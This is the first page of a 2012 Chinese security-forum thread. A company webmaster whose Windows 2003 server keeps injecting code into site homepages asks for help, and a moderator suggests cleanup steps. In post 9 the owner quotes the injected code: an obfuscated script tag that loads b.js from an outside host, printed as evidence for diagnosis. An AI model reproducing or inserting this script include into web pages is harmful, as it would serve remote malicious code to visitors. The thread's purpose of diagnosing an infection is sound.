求救:网站被黑恢复后总有代码删不掉,急求解!!! - 瑞星卡卡安全论坛bbs.ikaka.com

瑞星卡卡安全论坛技术交流区 恶意网站交流求救:网站被黑恢复后总有代码删不掉,急求解!!!

	瑞星“1+2”全新解决方案巡展在广州画上圆满句号		叶院长揭秘：瑞星如何运用AI技术革新网络安全		俄乌冲突加剧网络攻击风险白俄罗斯政府遭APT攻击		瑞星ESM防病毒系统助力矿业大学筑牢网络安全防线
	实力拉满瑞星第四十七次通过VB100测评		携手老友，拥抱新精彩 —— 新论坛新活动，感谢你的陪伴		护航司法，瑞星助力山西省高院构建安全防线		人工智能在网络安全领域的风险和机遇

12 3

1 / 3 页

跳转页

[求助] 求救:网站被黑恢复后总有代码删不掉,急求解!!!

本主题由大版主 networkedition 于 2012-7-10 15:42:11 执行合并主题操作

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-06 11:09 \| 只看楼主短消息资料字号：小中大 1楼求救:网站被黑恢复后总有代码删不掉,急求解!!! 网页顶部代码无法删除,急!!! 网站首页顶部总是有病毒代码.已经用了很多方法清除,如:恶意代码清除器,强力杀等,查杀同时把疑是病毒的带he1p.asp后缀的连文件夹都删了但现在从浏览器里一打开首页还是有.目前软件查杀已经杀不出病毒了。从网页源代码里看也是干净的.怎么能把那段代码去掉.尽量不想重做服务器. 望各位大侠给支支招!! 用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE) 附件: 文件名:ts.jpg 下载次数:1230 文件类型:image/pjpeg 文件大小: 上传时间:2012-7-6 11:09:49 描述:代码位置
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	分享到：

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2012-07-06 11:13 \| 短消息资料字号：小中大 2楼回复 1F ying8125 的帖子那段代码，在网站服务器上，网站页面文件里清除了，还会生成？网站地址是什么？
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-06 11:13 \| 只看楼主短消息资料字号：小中大 3楼求救!! 网页顶部代码无法删除,急!!! 网页顶部代码无法删除,急!!! 网站首页顶部总是有病毒代码.已经用了很多方法清除,如:恶意代码清除器,强力杀等,查杀同时把疑是病毒的带he1p.asp后缀的连文件夹都删了但现在从浏览器里一打开首页还是有.目前软件查杀已经杀不出病毒了。从网页源代码里看也是干净的.怎么能把那段代码去掉.尽量不想重做服务器. 望各位大侠给支支招!! ts.jpg (64.83 K) 2012-7-6 11:13:52 用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-06 11:20 \| 只看楼主短消息资料字号：小中大 4楼回复 2F networkedition 的帖子是的.用杀毒软件断网查杀了好几次,已经杀不出毒来了. 网页代码我也都检查过了,是干净的. 但就是首页顶部一直有那段代码,去不掉.从网页里看不到这段,只是从浏览器打开就有. 网址是http://www.ineast.com
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2012-07-06 11:27 \| 短消息资料字号：小中大 5楼回复 4F ying8125 的帖子服务器是托管的啊？装个arp防火墙试试。
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-06 11:29 \| 只看楼主短消息资料字号：小中大 6楼回复 5F networkedition 的帖子是我们公司自己的服务器. 装的360,上面有ARP的防护.但是一直有.主要是想把这段代码赶紧去掉.或是找出源头. 我的QQ号:79978070,您可以加我.
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

天才小菜鸟1 初生襁褓狮帖子:38 注册: 2006-05-07 来自:	发表于： 2012-07-07 09:35 \| 短消息资料字号：小中大 7楼回复：求救:网站被黑恢复后总有代码删不掉,急求解!!! 黑客加的代码吧或许是后门 - -噗
天才小菜鸟1 初生襁褓狮帖子:38 注册: 2006-05-07 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2012-07-09 09:28 \| 短消息资料字号：小中大 8楼回复 6F ying8125 的帖子在网站服务器上全盘搜索global.asa这个文件，如果有压缩发来。搜索时再更多高级选项里勾选搜索隐藏的文件和文件夹。
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:	发表于： 2012-07-09 10:43 \| 只看楼主短消息资料字号：小中大 9楼急!!网页被挂马去不掉,好几天了 ts.jpg (64.83 K) 2012-7-9 10:43:55 急!!我们的服务器是WIN2003的,最近所有的网站首页顶部都被代入一段代码,从源文件里看不到,无法删除,360杀毒也杀不出来什么,用了其他的一些工具也不行.请问有没有高手能帮忙解决@@急!!代码如下: <script language=javascript src=http://f%70r.A%74Her%53ite.c%6Fm/b.js?google=7x011></script> 与此同时发现系统文件夹里有一个CryptWan.dll文件夹是病毒吗 ,删除或是打开这个文件都不行,提示拒绝访问. 还用UNLOCKER和恶意代码清除器分别尝试了,也没有作用. 用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)
ying8125 初生襁褓狮帖子:22 注册: 2006-10-25 来自:

networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:	发表于： 2012-07-09 10:53 \| 短消息资料字号：小中大 10楼回复 1F ying8125 的帖子将CryptWan.dll压缩跟帖上传。
networkedition 社区嘉宾帖子:36698 注册: 2008-02-28 来自:

<<上一主题|下一主题>>

12 3

1 / 3 页

跳转页

页面顶部

Powered by Discuz!NT